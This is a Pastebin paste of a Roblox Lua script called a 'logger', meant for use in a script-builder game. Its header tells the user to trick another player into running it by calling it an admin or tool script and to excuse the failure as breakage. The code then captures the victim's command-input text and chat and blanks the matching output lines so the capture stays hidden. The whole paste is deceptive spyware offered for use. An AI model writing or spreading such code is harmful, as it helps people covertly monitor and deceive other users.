Advertisement
Demonlord27

logger

Aug 15th, 2016
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. --[[
  2. PointCoded's Logger
  3. Instructions
  4. 1:Set The Configurations below [ Put ur username where it says YOUR USERNAME HERE ]
  5. 2:Run It On Someone, Say It Is An Admin Or Tool Script (The Script Is Local)
  6. 3:When It Doesnt Work, Say Hmm Must Have Broke
  7. 4:Run The Actual Tool Script On Them
  8. 5:When ever their inputbar changes, you get the link/text
  9. ]]--
  10. --[[Config]]--
  11. local You = "figo30"
  12. local LogChat = true
  13. local LogInput = true
  14. --[[Dont Touch]]--
  15.  
  16.  
  17.  
  18. for _,V in pairs(game.Players:GetPlayers()) do
  19. if V:findFirstChild("PlayerGui") and LogInput == true then
  20. local PG = V:findFirstChild("PlayerGui")
  21. local Output = PG:findFirstChild("SB_OutputGUI")
  22. local Task = Output:findFirstChild("Task")
  23. local InputBar = Task:findFirstChild("InputBar")
  24. InputBar.Changed:connect(function()
  25. wait(math.random(0.1,2))
  26. if InputBar.Text ~="Click here or press (') to run a command" then
  27. print(InputBar.Text)
  28. Disallow(InputBar.Text)
  29. for i,v in pairs(Output.Main.Output.Content.List.Entries:GetChildren()) do
  30. if v.Text == "> ["..You.."]: "..InputBar.Text or v.Text == "> "..InputBar.Text then
  31. v.Text = ""
  32. v.TextColor3 = Color3.new(170, 0, 0)
  33. end
  34. end
  35. end
  36. end)
  37. end
  38. end
  39. if LogChat == true then
  40. game.Players.LocalPlayer.Chatted:connect(function(msg)
  41. print(msg)
  42. local PG = game.Players.LocalPlayer:findFirstChild("PlayerGui")
  43. local Output = PG:findFirstChild("SB_OutputGUI")
  44. Disallow(msg)
  45. for i,v in pairs(Output.Main.Output.Content.List.Entries:GetChildren()) do
  46. if v.Text == "> ["..You.."]: "..msg or v.Text == "> "..msg then
  47. v.Text = ""
  48.  
  49. v.TextColor3 = Color3.new(170, 0, 0)
  50. end
  51. end
  52. end)
  53. end
  54.  
  55. function Disallow(Phrase)
  56. game:GetService("RunService").RenderStepped:connect(function()
  57. local PG = game.Players.LocalPlayer:findFirstChild("PlayerGui")
  58. local Output = PG:findFirstChild("SB_OutputGUI")
  59. for i,v in pairs(Output.Main.Output.Content.List.Entries:GetChildren()) do
  60. if v.Text == "> ["..You.."]: "..Phrase or v.Text == "> "..Phrase then
  61. v.Text = ""
  62.  
  63. v.TextColor3 = Color3.new(170, 0, 0)
  64. end
  65. end
  66. end)
  67. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement